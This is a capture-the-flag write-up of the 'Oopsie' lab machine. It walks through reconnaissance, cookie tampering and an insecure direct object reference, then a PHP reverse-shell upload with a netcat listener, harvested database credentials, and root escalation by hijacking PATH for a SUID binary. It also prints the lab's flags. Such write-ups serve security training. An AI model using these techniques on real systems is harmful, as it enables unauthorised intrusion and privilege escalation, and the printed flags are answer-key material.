# Oopsie

{% file src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fwi5gptmJHdKgxL7qBaxe%2FOopsie_Write_Up.pdf?alt=media&token=29a6e7a4-f835-4f5b-af4d-0e30aa3a7bf4" %}

**TARGET IP --> 10.129.168.75**

**Task 1: With what kind of tool can intercept web traffic?**

* A **proxy** is used to intercept web traffic.

**Task 2: What is the path to the directory on the webserver that returns a login page?**

* Run a quick nmap scan

```
nmap 10.129.168.75
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FvLFtynu4D0ZF00o9rh1z%2Fimage.png?alt=media&#x26;token=76d338ec-2f9a-4a6e-9598-7f3c89e3d8c0" alt=""><figcaption></figcaption></figure>

* Looks like there is a web server on port 80 running and SSH is available. I then tried a more detailed version scan of the two ports.

```
nmap -sV -p 22, 80 10.129.168.75
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FbI8KseNgXNUq9lkkgDDH%2Fimage.png?alt=media&#x26;token=7d588594-e00e-4501-9def-46d196e1249f" alt=""><figcaption></figcaption></figure>

* This shows that the web server is Apache.
* Next, I tried opening the Target IP on a web browser.
* Looks to be a basic bootstrap page with some information on it that may be important later on. All clickable links on the page redirect back to the home page.
  * **admin@megacorp.com**
  * Nothing to note in the source code except they stuck all of their CSS and JS in the HTML page which should be a criminal offense.
* Checking Wappalyzer confirms an Apache Web Server running on Ubuntu. It also shows the backend is powered by PHP.

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FdTq3QgqhbjDSi5ehlSEq%2Fimage.png?alt=media\&token=e697ab4c-21d0-49c3-8bb9-5d913c5da26a)

* Let's run a gobuster scan to see what other directories are available.
  * A few 403s and several 301 (redirects)

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FSBUemhbet69GEFRNSWXt%2Fimage.png?alt=media&#x26;token=d5b7fc70-3a12-4e47-891e-db73867d1c54" alt=""><figcaption></figcaption></figure>

* I checked out some of these.
  * Unfortunately, they all came back as forbidden which is weird.
* Next, let's use Burpsuite to find other directories on a subdomain.
  * First start by refreshing the page with FoxyProxy to capture the packet and map out some of the networks. If you switch to the **Target** tab, you'll notice that some familiar looking directories from our gobuster scan have popped up including a new one we have not seen before:

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Ff46CXZfMjojrTAwtc77j%2Fimage.png?alt=media&#x26;token=d99da003-b493-4e15-897e-da0a34d7c901" alt=""><figcaption></figcaption></figure>

* The one I'm particularly interested in is the **cdn-cgi/login** directory listed. This is called spidering the network with Burpsuite.

**Task 3: What can be modified in Firefox to get access to the upload page?**

* A **Cookie** can be modified to validate we are a user to the system and allow us access.

**Task 4: What is the access ID of the admin user?**

* First start by checking out the page.

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FlfS2geJp5oyFjOurYpSa%2Fimage.png?alt=media\&token=b893dfde-02b7-470a-8dc3-1439599bcbfa)

* I'm going to guess that one of the users is named **admin** but I do not know their password.
* I can sign in as guest though.
*   Checking the source code shows that by clicking on this button it redirects me to the directory&#x20;

    ```
    /cdn-cgi/login/?guest=true
    ```
* Catching the packet through burp shows us some interesting info.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F1zDG01Hd7QNDjPbw3SIP%2Fimage.png?alt=media&#x26;token=baad51f6-1225-4826-9a96-8a02a3fa1b62" alt=""><figcaption></figcaption></figure>

* It shows that it has set **user=2233** and **role=guest**. I might be able to change those to allow for admin access.
* Navigating to the uploads page specifies that I need **super admin** rights. I tried changing the cookies value of the user to equal 1 but that didn't work.
* Checking the rest of the website and going over to the **Account** tab gives me an interesting value in the URL:

```
http://10.129.168.75/cdn-cgi/login/admin.php?content=accounts&id=2
```

* It looks like the **id=2** is set. I tried setting it to equal 1. This let's me see the admin's account. This includes their Access ID number which I'm going to assume is their user number from the cookies.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FgIcoudDUsdcA5vm1zvfS%2Fimage.png?alt=media&#x26;token=b90494a5-4e05-4ed4-b8fa-982cd0a1d994" alt=""><figcaption></figcaption></figure>

* Let's go back to the uploads tab and try putting this value in with the cookies. I utilized **super admin:34322** for the cookies.
*

    <figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FTA7jz9x9WhTSgLrKpbub%2Fimage.png?alt=media&#x26;token=899045e5-b928-4be0-8d1f-7b9bb3645fa9" alt=""><figcaption></figcaption></figure>
* This gave me access to the uploads page.

**Task 5: On uploading a file, what directory does that file appear in on the server?**

* To start, I went ahead and set up a netcat listener on my host machine.

```
nc -lvnp 4444
```

* I then went and uploaded a php reverse shell script I have on hand.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F53urwNhFc6TuILrX1KIM%2Fimage.png?alt=media&#x26;token=58c4e1bc-9c47-45c5-94ed-bb4f8a9fd763" alt=""><figcaption></figcaption></figure>

* I want to capture the response to this, so I right-clicked on the capture and specified I want to capture the response.
* It looks like I needed to specify in the cookies when I uploaded the file. I'll try again.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FSA5BQPlGjqkI942aXhrv%2Fimage.png?alt=media&#x26;token=09868363-478f-444a-a6c3-405137e60409" alt=""><figcaption></figcaption></figure>

* It looks like the file was uploaded but I didn't see where it got uploaded in the request or response. However, based on my gobuster scan, I know there is a directory called **/uploads**.&#x20;
* Similar to what I did previously, I visited the /uploads directory but captured the packet this time and changed my cookies to show that I am super admin.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FVkPQxg34n4KVNY48fw1S%2Fimage.png?alt=media&#x26;token=55012208-4e11-4655-8ec2-b8c476b6a2b1" alt=""><figcaption></figcaption></figure>

* Unfortunately, this still did not work as the page is showing as forbidden. However, I have a pretty good feeling that this is where the file got uploaded.
  * I'm eventually going to try the directory --> **/uploads/reverse\_shell.php**, to see if I can just open the file.
  * This didn't work. Instead of using super admin as the role, I'll try just admin.
* I went back and tried uploading the reverse shell file again. This time though I changed my role to just admin. Everything seemed to work.
* I then went back to the directory: **/uploads/reverse\_shell.php** and that seemed to work for me. I now have a reverse shell to the system.

**Task 6: What is the file that contains the password that is shared with the robert user?**

* After getting the reverse shell, I explored the system.
* I am currently logged in as **www-data**
* In the /home/robert/user.txt file I found the user flag:
  * **f2c74ee8db7983851ab2a96a44eb7981**
* I backed up and decided to explore more of the system.&#x20;
* I discovered the web server files and eventually found a php script relating to a database that has Robert's account in there.
  * **/var/www/html/cdn-cgi/login/db.php**

```
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
```

* It looks like we have some credentials available --> **robert:M3g4C0rpUs3r!**
* We can then try to switch users to robert in our revers shell.

```
su robert
```

* That should now give us access to robert's account.

**Task 7: What executible is run with the option "-group bugtracker" to identify all files owned by the bugtracker group?**

* Next is to check what files have SUID priveleges.

```
find / -type f -perm -04000 -ls 2>/dev/null
```

* This outputs a lot of good info including one particular note:

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FYQbIvVkJXlhfBA2w0CJz%2Fimage.png?alt=media&#x26;token=2cc6ff6d-0d39-441d-a38d-e2fb0b9e18a7" alt=""><figcaption></figcaption></figure>

* Bugtracker is a group that robert belongs to. We can confirm this by checking the **/etc/passwd** file.
* I tried running the bugtracker program but not getting useful. I tried help and man pages but wasn't getting anything. Every time I try an input, it tries to **cat** the input.
* However, it looks like I do have sudo privileges when running the process.&#x20;
* I went ahead and created a new file in **/tmp** directory with /bin/sh

```
echo /bin/sh > cat
```

* I will then give execution privileges on the file.

```
chmod +x cat
```

* Next, I will add the **/tmp** directory to the **PATH** environmental variable.

```
export PATH=/tmp:$PATH
```

* I checked to confirm the path had the **/tmp** directory.

```
echo $PATH
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FyjlaKbpdFasduTJD9ZdW%2Fimage.png?alt=media&#x26;token=82c638cb-15f8-43eb-9598-03714ca6945e" alt=""><figcaption></figcaption></figure>

* I can see the **/tmp** directory at the front.
* Next is to run the **bugtracker** executable in the **/tmp** directory.

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F1I7MQL2Pk2PTvl808KoL%2Fimage.png?alt=media\&token=d67607ff-5920-4640-8733-667a9a66e2dc)

* I now have root priveleges and can go look for flags.
* Back to the original question though, the executable I am looking for is **find**

**Task 8: Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?**

* Since this gives me sudo privileges, I technically will be running everything as **root**

**Task 9: What SUID stands for?**

* Set owner user id

**Task 10: What is the name of the executable being called in an insecure manner?**

* When running bugtracker, it runs the executable **cat**

**Capture User Flag:**

* I found the user flag a while ago. See notes above:
  * **f2c74ee8db7983851ab2a96a44eb7981**

**Capture Root Flag:**

* Redirect over to /root/root.txt for the root flag.
* Since cat will not work, you will need to use something else like head.

```
head /root/root.txt
```

* **af13b0bee69f8a877c3faf667f7beacf**
